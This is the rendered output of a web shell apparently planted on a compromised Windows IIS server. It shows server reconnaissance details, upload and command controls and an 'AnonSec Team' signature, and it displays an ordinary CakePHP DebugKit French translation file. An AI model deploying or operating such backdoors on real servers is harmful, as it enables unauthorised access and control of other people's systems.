DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/app/Plugin/DebugKit/Locale/fra/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/app/Plugin/DebugKit/Locale/fra/LC_MESSAGES/debug_kit.po
# LANGUAGE translation of CakePHP Application
# Copyright YEAR NAME <EMAIL@ADDRESS>
# No version information was available in the source files.
#
#, fuzzy
msgid   ""
msgstr  "Project-Id-Version: PROJECT VERSION\n"
        "POT-Creation-Date: 2013-06-04 12:00+0200\n"
        "PO-Revision-Date: YYYY-mm-DD HH:MM+ZZZZ\n"
        "Last-Translator: cake17 <gvmail76-inscription@yahoo.fr>\n"
        "Language-Team: \n"
        "MIME-Version: 1.0\n"
        "Content-Type: text/plain; charset=UTF-8\n"
        "Content-Transfer-Encoding: 8bit\n"
        "Plural-Forms: nplurals=2; plural=n>1;\n"

#: controllers/components/toolbar.php:91
msgid   "Component initialization and startup"
msgstr  "Initialisation du component et démarrage"

#: controllers/components/toolbar.php:140
msgid   "Controller Action"
msgstr  "Action du Controller"

#: controllers/components/toolbar.php:167
msgid   "Render Controller Action"
msgstr  "Rendu de l'Action du Controller"

#: controllers/components/toolbar.php:231
msgid   "Could not load DebugToolbar panel %s"
msgstr  "Ne peut charger le panel %s de DebugToolbar"

#: views/elements/debug_toolbar.ctp:25
msgid   "There are no active panels. You must enable a panel to see its output."
msgstr  "Il n'y a pas de panels actifs. Vous devez activer le panel pour voir sa sortie."

#: views/elements/history_panel.ctp:21
msgid   "Request History"
msgstr  "Historique des Requêtes"

#: views/elements/history_panel.ctp:23
msgid   "No previous requests logged."
msgstr  "Pas de demandes antérieures enregistrées."

#: views/elements/history_panel.ctp:25
msgid   "previous requests available"
msgstr  "Des requêtes antérieures sont disponibles"

#: views/elements/history_panel.ctp:27
msgid   "Restore to current request"
msgstr  "Restaure la requête actuelle"

#: views/elements/log_panel.ctp:21
msgid   "Logs"
msgstr  "Logs"

#: views/elements/log_panel.ctp:28
msgid   "Time"
msgstr  "Date"

#: views/elements/log_panel.ctp:28 views/elements/timer_panel.ctp:54
msgid   "Message"
msgstr  "Message"

#: views/elements/log_panel.ctp:37
msgid   "There were no log entries made this request"
msgstr  "Il n'y avait pas d'entrées de log faîtes pour cette requête"

#: views/elements/request_panel.ctp:21
msgid   "Request"
msgstr  "Requête"

#: views/elements/request_panel.ctp:35
msgid   "Current Route"
msgstr  "Route actuelle"

#: views/elements/session_panel.ctp:21
msgid   "Session"
msgstr  "Session"

#: views/elements/sql_log_panel.ctp:21
msgid   "Sql Logs"
msgstr  "Logs Sql"

#: views/elements/sql_log_panel.ctp:31
msgid   "toggle (%s) query explains for %s"
msgstr  "bascule (%s) requêtes expliquées pour %s"

#: views/elements/sql_log_panel.ctp:39
msgid   "No slow queries!, or your database does not support EXPLAIN"
msgstr  "Pas de requêtes lentes!, ou votre base de données ne supporte pas EXPLAIN"

#: views/elements/sql_log_panel.ctp:44
msgid   "No active database connections"
msgstr  "Pas de connections actives de la base de données"

#: views/elements/timer_panel.ctp:33
msgid   "Memory"
msgstr  "Mémoire"

#: views/elements/timer_panel.ctp:35
msgid   "Current Memory Use"
msgstr  "Utilisation de la Mémoire Actuelle"

#: views/elements/timer_panel.ctp:39
msgid   "Peak Memory Use"
msgstr  "Utilisation de la Mémoire au niveau maximum"

#: views/elements/timer_panel.ctp:43
msgid   "Timers"
msgstr  "Timers"

#: views/elements/timer_panel.ctp:45
msgid   "%s (ms)"
msgstr  "%s (ms)"

#: views/elements/timer_panel.ctp:46
msgid   "Total Request Time:"
msgstr  "Total du Temps de Requête"

#: views/elements/timer_panel.ctp:54
msgid   "Time in ms"
msgstr  "Temps en ms"

#: views/elements/timer_panel.ctp:54
msgid   "Graph"
msgstr  "Graph"

#: views/elements/variables_panel.ctp:21
msgid   "View Variables"
msgstr  "Variables du View"

#: views/helpers/simple_graph.php:79
msgid   "Starting %sms into the request, taking %sms"
msgstr  "Début en %sms de la requête, et prend %sms"

Anon7 - 2022
AnonSec Team